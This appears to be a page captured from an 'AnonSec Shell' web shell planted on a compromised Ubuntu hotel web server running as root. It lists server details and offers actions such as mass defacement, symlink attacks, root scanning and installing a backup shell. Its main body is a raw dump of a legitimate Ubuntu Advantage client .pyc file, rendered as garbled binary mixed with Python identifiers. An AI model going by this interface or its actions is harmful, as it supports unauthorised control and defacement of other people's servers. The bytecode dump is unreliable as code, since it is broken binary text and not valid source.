AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/uaclient/files/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/uaclient/files/__pycache__/files.cpython-310.pyc
o

F��c0�@s�ddlZddlZddlZddlZddlmZddlmZmZmZddl	m
Z
mZmZm
Z
mZmZddlmZe��Ze�e�ZGdd�d�ZGdd	�d	�ZGd
d�d�ZdS)�N)�datetime)�Any�Dict�Optional)�defaults�event_logger�
exceptions�messages�system�util)�PublicMachineTokenDatac@s�eZdZejdfdededefdd�Zedefdd	��Z	edefd
d��Z
edd
��Zdefdd�Zde
efdd�Zdd�ZdS)�UAFileT�name�	directory�privatecCs*||_||_||_tj�|j|j�|_dS�N)�
_directory�
_file_name�_is_private�os�path�join�_path)�selfrrr�r�6/usr/lib/python3/dist-packages/uaclient/files/files.py�__init__szUAFile.__init__�returncC�|jSr)r�rrrrr�zUAFile.pathcCrr)rrrrr�
is_privater zUAFile.is_privatecCstj�|j�Sr)rr�existsrrrr�
is_present#szUAFile.is_present�contentcCsb|jrtjntj}tj�|j�s't�|j�tj�	|j�tj
kr't�|jd�t�
|j||�dS)Ni�)r!r�ROOT_READABLE_MODE�WORLD_READABLE_MODErrr"r�makedirs�basename�PRIVATE_SUBDIR�chmodr
�
write_file)rr$�	file_moderrr�write's��zUAFile.writecCs>d}z	t�|j�}W|Styt�d�|j��Y|Sw)NzFile does not exist: {})r
�	load_filer�FileNotFoundError�LOG�debug�format�rr$rrr�read3s��zUAFile.readcCst�|j�dSr)r
�ensure_file_absentrrrrr�delete;sz
UAFile.deleteN)�__name__�
__module__�__qualname__r�DEFAULT_DATA_DIR�str�boolr�propertyrr!r#r-rr4r6rrrrr
s&���
�
r
c@seZdZejddfdededeefdd�Zde	fd	d
�Z
dd�Zd
ee	fdd�Ze
dd��Ze
dd��Zdd�Ze
d
ee	fdd��Ze
dd��Zedefdd��Ze
d
eefdd��Ze
dd ��Ze
d
eefd!d"��Ze
d-d$d%��Ze
d-d&d'��Ze
d.d)d*��Ze
d+d,��ZdS)/�MachineTokenFileTNr�	root_mode�machine_token_overlay_pathcCsHtj}||_t||tj�|_t||d�|_||_d|_d|_	d|_
dS)NF)r�MACHINE_TOKEN_FILE�is_rootr
r)�private_file�public_filer@�_machine_token�
_entitlements�_contract_expiry_datetime)rrr?r@�	file_namerrrr@s
�
zMachineTokenFile.__init__r$cCsv|jr7tj|tjd�}|j�|�t�|�}t�	|��
d�}tj|tjd�}|j�|�d|_d|_
d|_dSt���)z8Update the machine_token file for both pub/private files��clsFN)rB�json�dumpsr�DatetimeAwareJSONEncoderrCr-�loadsr�	from_dict�to_dictrDrErFrGr�NonRootUserError)rr$�content_strrrrr-Qs�
�
zMachineTokenFile.writecCs8|jr|j��|j��d|_d|_d|_dSt���)z!Delete both pub and private filesN)	rBrDr6rCrErFrGrrQrrrrr6es


zMachineTokenFile.deletercCsP|jr|j}n|j}|��}|sdSztj|tjd�}W|Sty'Y|Sw�NrI)	rBrCrDr4rKrNr�DatetimeAwareJSONDecoder�	Exception)r�file_handlerr$rrrr4qs��zMachineTokenFile.readcCs|jr|jjo
|jjS|jjSr)rBrDr#rCrrrrr#szMachineTokenFile.is_presentcCsB|js|��}|r|jr|�|j�}|rtj||d�||_|jS)zAReturn the machine-token if cached in the machine token response.)�	base_dict�overlay_dict)rEr4r@�parse_machine_token_overlayr�depth_first_merge_overlay_dict)rr$�machine_token_overlayrrr�
machine_token�s
��zMachineTokenFile.machine_tokenc
Csptj�|�st�tjj|d���zt�	|�}t
j|tj
d�WSty7}z
t�tjjt|�|d���d}~ww)N)�	file_pathrI)�errorr])rrr"r�UserFacingErrorr	�&INVALID_PATH_FOR_MACHINE_TOKEN_OVERLAYr2r
r.rKrNrrT�
ValueError�ERROR_JSON_DECODING_IN_FILEr;)rr@�machine_token_overlay_content�errrrY�s,��������z,MachineTokenFile.parse_machine_token_overlaycCst|j�r|jddSdS)N�machineTokenInfo�accountInfo�r<r\rrrr�account�s
zMachineTokenFile.accountcCs*|jr|jS|jsiS|�|j�|_|jS)z9Return configured entitlements keyed by entitlement named)rFr\�get_entitlements_from_tokenrrrr�entitlements�s�zMachineTokenFile.entitlementsr\c	Cs�ddlm}|s
iSi}|�di��d�}|siStdd�|�dg�D��}tdd�|�d	g�D��}|��D]\}}d
|i}||vrI|||d<||�|||<q7|S)z�Return a dictionary of entitlements keyed by entitlement name.

        Return an empty dict if no entitlements are present.
        r)�apply_contract_overridesre�contractInfocss$�|]
}|�d�|�d�fVqdS)�type�tokenN��get��.0rdrrr�	<genexpr>�s
��
�z?MachineTokenFile.get_entitlements_from_token.<locals>.<genexpr>�resourceTokenscss�|]
}|�d�|fVqdS)rmNrorqrrrrs�s
��
��resourceEntitlements�entitlement�
resourceToken)�uaclient.contractrkrp�dict�items)	r\rkrjrl�tokens_by_name�ent_by_name�entitlement_name�	ent_value�entitlement_cfgrrrri�s0�
�
��
z,MachineTokenFile.get_entitlements_from_tokencCs,|js|j�di��di��dd�|_|jS)z6Return a datetime of the attached contract expiration.rerl�effectiveToN)rGr\rprrrr�contract_expiry_datetime�s�z)MachineTokenFile.contract_expiry_datetimecCs
t|j�S)z<Report whether this machine configuration is attached to UA.rgrrrr�is_attached�s
zMachineTokenFile.is_attachedcCs*|jdurdS|j��t����}|jS)aReport num days until contract expiration based on effectiveTo

        :return: A positive int representing the number of days the attached
            contract remains in effect. Return a negative int for the number
            of days beyond contract's effectiveTo date.
        N)r��dater�utcnow�days)r�deltarrr�contract_remaining_days�s
z(MachineTokenFile.contract_remaining_days�
Optional[str]cC�|jr
|j�di��d�SdS)N�activityInfo�
activityToken�r\rprrrr�activity_token�
�zMachineTokenFile.activity_tokencCr�)Nr��
activityIDr�rrrr�activity_idszMachineTokenFile.activity_id�
Optional[int]cCr�)Nr��activityPingIntervalr�rrrr�activity_ping_intervalr�z'MachineTokenFile.activity_ping_intervalcCs&|jr|j�di��di��d�SdS)Nrerl�idr�rrrr�contract_ids�zMachineTokenFile.contract_id)rr�)rr�)r7r8r9rr:r;r<rrryr-r6r4r=r#r\rYrhrj�staticmethodrrirr�r��intr�r�r�r�r�rrrrr>?sN���
�


#
r>c@s�eZdZejdfdedefdd�Zdedefdd	�Zdedefd
d�Z	ded
efdd�Z
ded
efdd�Zdd�Zde
fdd�ZdS)�
NoticeFileTrr?cCsd}t||d�|_||_dS)Nznotices.jsonF)r
�filerB)rrr?rHrrrr&s
zNoticeFile.__init__�label�descriptioncCsD|jr|��pg}||g}||vr|�|�|�|�dSdStj�)zt
        Adds a notice to the notices.json file.
        Raises a NonRootUserError if the user is not root.
        N)rBr4�appendr-rrQ)rr�r��notices�noticerrr�add/s
�zNoticeFile.addcC�4z	|�||�WdStjyt�d�YdSw)zh
        Adds a notice to the notices.json file.
        Logs a warning when adding as non-root
        z%Trying to add notice as non-root userN)r�rrQ�event�warning)rr�r�rrr�try_add=�
�zNoticeFile.try_add�label_regex�descr_regexcCs�|jrBg}|��p
g}|r(|D]\}}t�||�r t�||�r q|�||f�q|r1|�|�dStj�|j	j�r@|j	�
�dSdStj�)zw
        Removes a notice to the notices.json file.
        Raises a NonRootUserError if the user is not root.
        N)
rBr4�re�matchr�r-rrr"r�r6rrQ)rr�r�r��cached_notices�notice_label�notice_descrrrr�removeGs�zNoticeFile.removecCr�)zn
        Removes a notice to the notices.json file.
        Logs  a warning when removing as non-root
        z(Trying to remove notice as non-root userN)r�rrQr�r�)rr�r�rrr�
try_remove\r�zNoticeFile.try_removecCs<|j��}|s	dSz	tj|tjd�WSty|YSwrS)r�r4rKrNrrTrar3rrrr4fs
�zNoticeFile.readr$cCs*t|t�s
tj|tjd�}|j�|�dSrS)�
isinstancer;rKrLrrMr�r-r3rrrr-os
zNoticeFile.writeN)r7r8r9rr:r;r<rr�r�r�r�r4rr-rrrrr�%s��
�	

	r�)rK�loggingrr�r�typingrrr�uaclientrrrr	r
r�uaclient.contract_data_typesr�get_event_loggerr��	getLoggerr7r0r
r>r�rrrr�<module>s 
0g

Anon7 - 2022
AnonSec Team